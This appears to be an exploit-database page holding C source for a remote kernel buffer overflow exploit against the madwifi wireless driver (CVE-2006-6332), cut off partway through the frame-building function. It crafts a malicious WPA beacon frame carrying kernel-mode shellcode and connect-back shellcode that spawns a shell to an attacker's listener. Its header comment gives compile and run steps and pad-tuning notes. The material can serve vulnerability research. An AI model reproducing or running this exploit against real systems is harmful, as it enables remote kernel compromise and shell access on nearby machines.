Lucene search
K

madwifi <= 0.9.2.1 WPA/RSN IE Remote Kernel Buffer Overflow Exploit

🗓️ 02 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 31 Views

madwifi WPA/RSN IE remote kernel buffer overflow exploit by sgrakkyu - 10/1/2007. Generates exploit code for wpa. Requires different pad value for different gcc versions. Tuning option available depending on gcc version/optimization

Code

                                                /*&nbsp;----&nbsp;&nbsp;madwifi&nbsp;WPA/RSN&nbsp;IE&nbsp;remote&nbsp;kernel&nbsp;buffer&nbsp;overflow&nbsp;&nbsp;------
&nbsp;*&nbsp;expoit&nbsp;code&nbsp;by:&nbsp;&nbsp;&nbsp;sgrakkyu&nbsp;<at>&nbsp;antifork.org&nbsp;--&nbsp;10/1/2007
&nbsp;*&nbsp;
&nbsp;*&nbsp;CVE:&nbsp;2006-6332&nbsp;(Laurent&nbsp;BUTTI,&nbsp;Jerome&nbsp;RAZNIEWSKI,&nbsp;Julien&nbsp;TINNES)
&nbsp;*&nbsp;
&nbsp;*&nbsp;(for&nbsp;wpa)
&nbsp;*&nbsp;....
&nbsp;*&nbsp;memcpy(buf,&nbsp;se->se_wpa_ie,&nbsp;se->se_wpa_ie[1]&nbsp;+&nbsp;2)&nbsp;
&nbsp;*&nbsp;....
&nbsp;*&nbsp;....
&nbsp;*&nbsp;the&nbsp;function&nbsp;re-uses&nbsp;args&nbsp;in&nbsp;the&nbsp;stack&nbsp;before&nbsp;returning&nbsp;so&nbsp;we&nbsp;
&nbsp;*&nbsp;can\'t&nbsp;trash&nbsp;them&nbsp;overwriting.&nbsp;
&nbsp;*&nbsp;Different&nbsp;compiled&nbsp;module&nbsp;[ex.&nbsp;different&nbsp;version&nbsp;of&nbsp;gcc]&nbsp;may&nbsp;require&nbsp;
&nbsp;*&nbsp;a&nbsp;different&nbsp;pad&nbsp;value..&nbsp;(see&nbsp;-g&nbsp;option)
&nbsp;*
&nbsp;*&nbsp;ex:
&nbsp;*&nbsp;on&nbsp;one&nbsp;terminal&nbsp;runs:&nbsp;nc&nbsp;-l&nbsp;-p&nbsp;31337&nbsp;
&nbsp;*&nbsp;phi:~/kexec/lorcon#&nbsp;gcc&nbsp;-g&nbsp;-o&nbsp;madwifi_exp&nbsp;madwifi_exp.c&nbsp;-lorcon
&nbsp;*&nbsp;phi:~/kexec/lorcon#&nbsp;wlanconfig&nbsp;ath1&nbsp;create&nbsp;wlandev&nbsp;wifi0&nbsp;wlanmode&nbsp;monitor
&nbsp;*&nbsp;phi:~/kexec/lorcon#&nbsp;ifconfig&nbsp;ath1&nbsp;up
&nbsp;*&nbsp;phi:~/kexec/lorcon#&nbsp;./madwifi_exp&nbsp;-i&nbsp;ath1&nbsp;-d&nbsp;madwifing&nbsp;-a&nbsp;10.0.0.1&nbsp;-p&nbsp;31337
&nbsp;*&nbsp;[opt-ip]:&nbsp;10.0.0.1
&nbsp;*&nbsp;[opt-port]:&nbsp;31337
&nbsp;*&nbsp;[opt-iface]:&nbsp;ath1
&nbsp;*&nbsp;[opt-driver]:&nbsp;madwifing
&nbsp;*&nbsp;[opt-jump]:&nbsp;0xffffe777
&nbsp;*&nbsp;[pad]:&nbsp;36
&nbsp;*
&nbsp;*&nbsp;[*][Low&nbsp;Avail&nbsp;Byte]:&nbsp;103
&nbsp;*&nbsp;[*][High&nbsp;Avail&nbsp;Byte]:&nbsp;47
&nbsp;*&nbsp;[*][u_code[]&nbsp;(high)size]:&nbsp;91,&nbsp;[ring0_code[]&nbsp;(low)size]:&nbsp;47
&nbsp;*&nbsp;[*][&nbsp;patching&nbsp;jump&nbsp;]:&nbsp;[eba7]
&nbsp;*&nbsp;[*][Payload&nbsp;space]:&nbsp;192
&nbsp;*&nbsp;[*][beacon_frame-80211]=54
&nbsp;*&nbsp;[*][beacon_WPA_IE_lenght]:&nbsp;198
&nbsp;*
&nbsp;*&nbsp;[printing&nbsp;frame&nbsp;-&nbsp;start]
&nbsp;*&nbsp;&nbsp;&nbsp;80&nbsp;00&nbsp;00&nbsp;00&nbsp;ff&nbsp;ff&nbsp;ff&nbsp;ff&nbsp;ff&nbsp;ff&nbsp;cc&nbsp;cc&nbsp;cc&nbsp;cc&nbsp;cc&nbsp;cc
&nbsp;*&nbsp;&nbsp;&nbsp;cc&nbsp;cc&nbsp;cc&nbsp;cc&nbsp;cc&nbsp;cc&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00
&nbsp;*&nbsp;&nbsp;&nbsp;64&nbsp;00&nbsp;01&nbsp;00&nbsp;00&nbsp;03&nbsp;41&nbsp;41&nbsp;41&nbsp;01&nbsp;08&nbsp;82&nbsp;84&nbsp;8b&nbsp;96&nbsp;0c
&nbsp;*&nbsp;&nbsp;&nbsp;18&nbsp;30&nbsp;48&nbsp;03&nbsp;01&nbsp;0b&nbsp;dd&nbsp;c6&nbsp;00&nbsp;50&nbsp;f2&nbsp;01&nbsp;01&nbsp;00&nbsp;90&nbsp;90
&nbsp;*&nbsp;&nbsp;&nbsp;90&nbsp;90&nbsp;90&nbsp;90&nbsp;90&nbsp;90&nbsp;90&nbsp;90&nbsp;90&nbsp;90&nbsp;31&nbsp;c0&nbsp;89&nbsp;c3&nbsp;40&nbsp;40
&nbsp;*&nbsp;&nbsp;&nbsp;....
&nbsp;*&nbsp;&nbsp;&nbsp;....
&nbsp;*
&nbsp;*
&nbsp;*&nbsp;Tuning&nbsp;option:
&nbsp;*&nbsp;-&nbsp;depending&nbsp;on&nbsp;gcc&nbsp;version/optimization&nbsp;we&nbsp;have&nbsp;to&nbsp;change&nbsp;the&nbsp;padding&nbsp;of&nbsp;vector
&nbsp;*&nbsp;&nbsp;&nbsp;payload,&nbsp;take&nbsp;a&nbsp;look&nbsp;to&nbsp;the&nbsp;following&nbsp;disassembly&nbsp;of&nbsp;the&nbsp;module&nbsp;wlan.o&nbsp;compiled
&nbsp;*&nbsp;&nbsp;&nbsp;with&nbsp;gcc-4.0&nbsp;(kernel&nbsp;compiled&nbsp;for&nbsp;i586):
&nbsp;*
&nbsp;*&nbsp;&nbsp;00015a49&nbsp;<giwscan_cb>:
&nbsp;*&nbsp;&nbsp;15a49:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;&nbsp;&nbsp;%ebp
&nbsp;*&nbsp;&nbsp;15a4a:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;&nbsp;&nbsp;%edi
&nbsp;*&nbsp;&nbsp;15a4b:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;&nbsp;&nbsp;%esi
&nbsp;*&nbsp;&nbsp;15a4c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;&nbsp;&nbsp;%ebx
&nbsp;*&nbsp;&nbsp;15a4d:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;81&nbsp;ec&nbsp;c4&nbsp;00&nbsp;00&nbsp;00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub&nbsp;&nbsp;&nbsp;&nbsp;$0xbc,%esp&nbsp;<--16+188=[204]
&nbsp;*&nbsp;&nbsp;.........
&nbsp;*&nbsp;&nbsp;.........
&nbsp;*&nbsp;&nbsp;.........
&nbsp;*&nbsp;&nbsp;15fc3:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8d&nbsp;54&nbsp;24&nbsp;12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lea&nbsp;&nbsp;&nbsp;&nbsp;0xa(%esp),%edx&nbsp;<-esp+[10]
&nbsp;*&nbsp;&nbsp;15fc7:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;89&nbsp;d7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;%edx,%edi
&nbsp;*&nbsp;&nbsp;...
&nbsp;*&nbsp;&nbsp;...
&nbsp;*&nbsp;&nbsp;15fd5:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f3&nbsp;a5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rep&nbsp;movsl&nbsp;%ds:(%esi),%es:(%edi)
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;this&nbsp;is&nbsp;not&nbsp;a&nbsp;rule,&nbsp;check&nbsp;gcc&nbsp;generated&nbsp;code&nbsp;to&nbsp;calculate&nbsp;correct&nbsp;pad&nbsp;value&nbsp;:
&nbsp;*&nbsp;[startbuf-ret]&nbsp;=&nbsp;(16&nbsp;+&nbsp;188&nbsp;-&nbsp;10)&nbsp;=&nbsp;194&nbsp;byte
&nbsp;*&nbsp;PAD&nbsp;=&nbsp;194&nbsp;-&nbsp;SHELLCODE_SPACE&nbsp;-&nbsp;IEWPAheader(code,len,oui)&nbsp;=&nbsp;194&nbsp;-&nbsp;150&nbsp;-&nbsp;8&nbsp;=&nbsp;36
&nbsp;*&nbsp;(&nbsp;-g&nbsp;36&nbsp;would&nbsp;be&nbsp;the&nbsp;choice&nbsp;in&nbsp;that&nbsp;case)
&nbsp;*&nbsp;&nbsp;&nbsp;
&nbsp;*&nbsp;&nbsp;&nbsp;NOTE:&nbsp;1)&nbsp;the&nbsp;remote&nbsp;box&nbsp;must&nbsp;call&nbsp;the&nbsp;ioctl()&nbsp;SIOCGIWSCAN
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;ex.&nbsp;when&nbsp;the&nbsp;iface&nbsp;gets&nbsp;up&nbsp;or&nbsp;during&nbsp;iwlist&nbsp;iface&nbsp;scanning
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;command
&nbsp;*
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2)&nbsp;if&nbsp;you&nbsp;need&nbsp;more&nbsp;space&nbsp;for&nbsp;kernel&nbsp;mode&nbsp;code&nbsp;you&nbsp;can&nbsp;rely&nbsp;on
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;ieee80211_scan_entry&nbsp;paramter&nbsp;of&nbsp;gwiscan_cb()
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;to&nbsp;access&nbsp;the&nbsp;real&nbsp;frame&nbsp;(a&nbsp;trivial&nbsp;joke)
&nbsp;*
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3)&nbsp;i&nbsp;had&nbsp;no&nbsp;time&nbsp;to&nbsp;test&nbsp;this&nbsp;exploit&nbsp;on&nbsp;other&nbsp;boxes..:
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tested&nbsp;only&nbsp;on:&nbsp;&nbsp;Slackware&nbsp;10&nbsp;-&nbsp;&nbsp;madwifi&nbsp;0.9.2
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Kubuntu&nbsp;-&nbsp;kernel&nbsp;2.6.17&nbsp;-&nbsp;madwifi&nbsp;0.9.2
&nbsp;*
&nbsp;*
&nbsp;*&nbsp;&nbsp;TNX&nbsp;TNX&nbsp;TNX&nbsp;&nbsp;twiz&nbsp;<at>&nbsp;antifork.org
&nbsp;*/


#include&nbsp;<stdio.h>
#include&nbsp;<stdlib.h>
#include&nbsp;<sys/socket.h>
#include&nbsp;<getopt.h>
#include&nbsp;<netinet/in.h>
#include&nbsp;<sys/socket.h>

#include&nbsp;<tx80211.h>
#include&nbsp;<tx80211_packet.h>
#include&nbsp;<linux/wireless.h>
#include&nbsp;<arpa/inet.h>


/*&nbsp;2.6.17&nbsp;VSYSCALL:&nbsp;for&nbsp;>=&nbsp;2.6.18&nbsp;without&nbsp;fixed-vsyscall&nbsp;entry&nbsp;use&nbsp;kernel&nbsp;hardcoded&nbsp;value&nbsp;*/
#define&nbsp;VSYSCALL_JMP_ESP_OFFSET&nbsp;&nbsp;&nbsp;0xffffe777
#define&nbsp;IE_ZERO&nbsp;0x00000000

#define&nbsp;FIX_BYTE(base,offset,byte)&nbsp;&nbsp;&nbsp;*(((unsigned&nbsp;char*)base)&nbsp;+&nbsp;offset)&nbsp;=&nbsp;byte;
#define&nbsp;FIX_WORD(base,offset,word)&nbsp;&nbsp;&nbsp;*((unsigned&nbsp;short&nbsp;*)((unsigned&nbsp;char*)base&nbsp;+&nbsp;offset))&nbsp;=&nbsp;word;
#define&nbsp;FIX_DWORD(base,offset,dword)&nbsp;*((unsigned&nbsp;int&nbsp;*)((unsigned&nbsp;char*)base&nbsp;+&nbsp;offset))&nbsp;=&nbsp;dword;

/*&nbsp;shellcode&nbsp;max&nbsp;buffer&nbsp;*/
/*&nbsp;8&nbsp;bytes&nbsp;used&nbsp;for&nbsp;lenght&nbsp;+&nbsp;oui&nbsp;*/
#define&nbsp;SHELLCODE_SPACE&nbsp;&nbsp;150&nbsp;&nbsp;
#define&nbsp;PAD_SPACE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;36

#define&nbsp;PAYLOAD_SPACE&nbsp;&nbsp;&nbsp;&nbsp;(SHELLCODE_SPACE&nbsp;+&nbsp;pad_space&nbsp;+&nbsp;4&nbsp;+&nbsp;2)
#define&nbsp;TOTAL_PACKET_LEN&nbsp;(sizeof(beacon_80211_wpa)&nbsp;-1&nbsp;+&nbsp;PAYLOAD_SPACE)

/*&nbsp;exp&nbsp;option&nbsp;*/
char&nbsp;*iface&nbsp;=&nbsp;NULL;&nbsp;&nbsp;/*&nbsp;needed&nbsp;*/
char&nbsp;*driver&nbsp;=&nbsp;NULL;&nbsp;/*&nbsp;needed&nbsp;*/
char&nbsp;*ip&nbsp;=&nbsp;NULL;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;needed&nbsp;*/
short&nbsp;port&nbsp;=&nbsp;0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;needed&nbsp;*/
unsigned&nbsp;int&nbsp;jmp_address&nbsp;=&nbsp;VSYSCALL_JMP_ESP_OFFSET;
unsigned&nbsp;int&nbsp;pad_space&nbsp;=&nbsp;PAD_SPACE;



/*&nbsp;-----------------------------------&nbsp;*/

#define&nbsp;SUB_OFFSET_PATCH&nbsp;8
char&nbsp;ring0_code[]=
&nbsp;\"xe8x00x00x00x00\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//call&nbsp;&nbsp;&nbsp;8048359&nbsp;<main+0x21>
&nbsp;\"x5e\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//pop&nbsp;&nbsp;&nbsp;&nbsp;%esi
&nbsp;\"x81xeex88x00x00x00\"&nbsp;&nbsp;//sub&nbsp;&nbsp;&nbsp;&nbsp;$0x88,%esi&nbsp;&nbsp;/*&nbsp;PATCH&nbsp;*/
&nbsp;\"x31xc0\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//xor&nbsp;&nbsp;&nbsp;&nbsp;%eax,%eax
&nbsp;\"xb0x04\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//mov&nbsp;&nbsp;&nbsp;&nbsp;$0x4,%al
&nbsp;\"x01xc4\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//add&nbsp;&nbsp;&nbsp;&nbsp;%eax,%esp
&nbsp;\"x83x3cx24x73\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//cmp&nbsp;&nbsp;&nbsp;&nbsp;$0x73,%esp
&nbsp;\"x75xf8\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//jne&nbsp;&nbsp;&nbsp;&nbsp;8048364&nbsp;<main+0x2c>
&nbsp;\"x83x7cx24x0cx7b\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//cmpl&nbsp;&nbsp;&nbsp;$0x7b,0xc(%esp)
&nbsp;\"x75xf1\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//jne&nbsp;&nbsp;&nbsp;&nbsp;8048364&nbsp;<main+0x2c>
&nbsp;\"x29xc4\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//sub&nbsp;&nbsp;&nbsp;&nbsp;%eax,%esp
&nbsp;\"x8bx7cx24x0c\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//mov&nbsp;&nbsp;&nbsp;&nbsp;0xc(%esp),%edi
&nbsp;\"x89x3cx24\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//mov&nbsp;&nbsp;&nbsp;&nbsp;%edi,(%esp)
&nbsp;\"x31xc9\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//xor&nbsp;&nbsp;&nbsp;&nbsp;%ecx,%ecx
&nbsp;\"xb1x5b\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//mov&nbsp;&nbsp;&nbsp;&nbsp;$0x5b,%cl&nbsp;/*&nbsp;FIX&nbsp;*/
&nbsp;\"xf3xa4\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//rep&nbsp;movsb&nbsp;%ds:(%esi),%es:(%edi)
&nbsp;\"xcf\";&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//iret


/*&nbsp;connect&nbsp;back&nbsp;*/
#define&nbsp;IP_OFFSET&nbsp;&nbsp;&nbsp;35
#define&nbsp;PORT_OFFSET&nbsp;44
char&nbsp;u_code[]&nbsp;=&nbsp;
\"x31xc0x89xc3x40x40xcdx80x39xc3x74x03x31xc0x40xcdx80\"&nbsp;/*&nbsp;fork&nbsp;*/
\"x6ax66x58x99x6ax01x5bx52x53x6ax02x89xe1xcdx80x5bx5d\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\"xbe\"
\"xf5xffxffxfe\"&nbsp;&nbsp;//&nbsp;~ip
\"xf7xd6x56x66xbd\"
\"x69x7a\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;port
\"x0fxcdx09xddx55x43x6ax10x51x50xb0x66x89xe1xcdx80x87xd9\"&nbsp;&nbsp;&nbsp;
\"x5bxb0x3fxcdx80x49x79xf9xb0x0bx52x68x2fx2fx73x68\"&nbsp;&nbsp;
\"x68x2fx62x69x6ex89xe3x52x53xebxdf\";&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;


/*&nbsp;802.11header&nbsp;+&nbsp;WPA&nbsp;IE&nbsp;prolog&nbsp;*/
#define&nbsp;WPA_LEN_OFFSET&nbsp;55
#define&nbsp;CHANNEL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11
char&nbsp;beacon_80211_wpa[]&nbsp;=&nbsp;
\"x80\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;management&nbsp;frame&nbsp;/&nbsp;subtype&nbsp;beacon
\"x00\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;flags
\"x00x00\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;duration
\"xFFxFFxFFxFFxFFxFF\"&nbsp;&nbsp;//&nbsp;destination&nbsp;addr
\"xCCxCCxCCxCCxCCxCC\"&nbsp;&nbsp;//&nbsp;src&nbsp;address
\"xCCxCCxCCxCCxCCxCC\"&nbsp;&nbsp;//&nbsp;bbsid
\"x00x00\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;seq
\"x00x00x00x00x00x00x00x00\"&nbsp;//&nbsp;timestamp
\"x64x00\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;interval
\"x01x00\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;caps
\"x00x03x41x41x41\"&nbsp;&nbsp;//&nbsp;ssid&nbsp;Information&nbsp;Element
\"x01x08x82x84x8bx96x0cx18x30x48\"&nbsp;//&nbsp;rates&nbsp;Information&nbsp;Element
\"x03x01x0B\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;channel&nbsp;Information&nbsp;Element&nbsp;(11)
\"xddxc6\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;WPA&nbsp;Information&nbsp;Element&nbsp;(priv&nbsp;ID&nbsp;+&nbsp;len)&nbsp;(0xc6&nbsp;=&nbsp;0xc0&nbsp;+&nbsp;6)&nbsp;/*&nbsp;PATCH&nbsp;*/
\"x00x50xf2x01x01x00\";&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;oui&nbsp;+&nbsp;type&nbsp;+&nbsp;version&nbsp;(first&nbsp;6&nbsp;byte&nbsp;of&nbsp;len)

#define&nbsp;JUMP_OFFSET_PATCH&nbsp;1
char&nbsp;jmp_back[]=\"xebx00\";

/*&nbsp;-----------------------------------&nbsp;*/


void&nbsp;usage(char&nbsp;*prog)
{
&nbsp;&nbsp;printf(\"[usage]:&nbsp;%s&nbsp;(-i&nbsp;iface)&nbsp;(-d&nbsp;drivername)&nbsp;(-a&nbsp;ip)&nbsp;(-p&nbsp;port)&nbsp;[-g&nbsp;pad]&nbsp;[-j&nbsp;jump_address]
\",&nbsp;prog);
}

unsigned&nbsp;char&nbsp;*build_frame()
{
&nbsp;&nbsp;int&nbsp;i,j;
&nbsp;&nbsp;char&nbsp;*frame&nbsp;=&nbsp;malloc(TOTAL_PACKET_LEN);
&nbsp;&nbsp;char&nbsp;*ptr&nbsp;=&nbsp;frame;
&nbsp;&nbsp;
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;hsb&nbsp;=&nbsp;sizeof(ring0_code)-1;
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;lsb&nbsp;=&nbsp;&nbsp;SHELLCODE_SPACE&nbsp;-&nbsp;hsb;
&nbsp;&nbsp;printf(\"[*][low-kcode]:&nbsp;%d
[*][high-ucode]:&nbsp;%d
\",&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lsb,&nbsp;hsb);
&nbsp;&nbsp;
&nbsp;&nbsp;printf(\"[*][u_code[]&nbsp;(high)size]:&nbsp;%d,&nbsp;[ring0_code[]&nbsp;(low)size]:&nbsp;%d
\",&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sizeof(u_code)-1,&nbsp;sizeof(ring0_code)-1);

&nbsp;&nbsp;/*&nbsp;fix&nbsp;jump&nbsp;*/
&nbsp;&nbsp;int&nbsp;b&nbsp;=&nbsp;-4&nbsp;-&nbsp;pad_space&nbsp;-&nbsp;(sizeof(jmp_back)-1)&nbsp;-&nbsp;(sizeof(ring0_code)-1);
&nbsp;&nbsp;FIX_BYTE(jmp_back,&nbsp;JUMP_OFFSET_PATCH,&nbsp;b);

&nbsp;&nbsp;/*&nbsp;fix&nbsp;ring0_code/u_code&nbsp;displacement&nbsp;*/
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;sub&nbsp;=&nbsp;5&nbsp;+&nbsp;(sizeof(u_code)-1);
&nbsp;&nbsp;FIX_BYTE(ring0_code,&nbsp;SUB_OFFSET_PATCH,&nbsp;sub);

&nbsp;&nbsp;printf(\"[*][payload&nbsp;space]:&nbsp;%d
\",&nbsp;PAYLOAD_SPACE);

&nbsp;&nbsp;/*&nbsp;fix&nbsp;beacon_80211_wpa:&nbsp;WPA&nbsp;len&nbsp;*/
&nbsp;&nbsp;FIX_BYTE(beacon_80211_wpa,&nbsp;WPA_LEN_OFFSET,&nbsp;PAYLOAD_SPACE&nbsp;+&nbsp;6);
&nbsp;&nbsp;printf(\"[*][beacon_WPA_IE_lenght]:&nbsp;%u
\",&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;char)beacon_80211_wpa[WPA_LEN_OFFSET]);

&nbsp;&nbsp;/*&nbsp;fill&nbsp;frame&nbsp;*/
&nbsp;&nbsp;memset(frame,&nbsp;0x00,&nbsp;TOTAL_PACKET_LEN);

&nbsp;&nbsp;memcpy(ptr,&nbsp;beacon_80211_wpa,&nbsp;sizeof(beacon_80211_wpa)-1);
&nbsp;&nbsp;ptr&nbsp;+=&nbsp;(sizeof(beacon_80211_wpa)-1);

&nbsp;&nbsp;memset(ptr,&nbsp;0x90,&nbsp;lsb&nbsp;-&nbsp;(sizeof(u_code)-1));
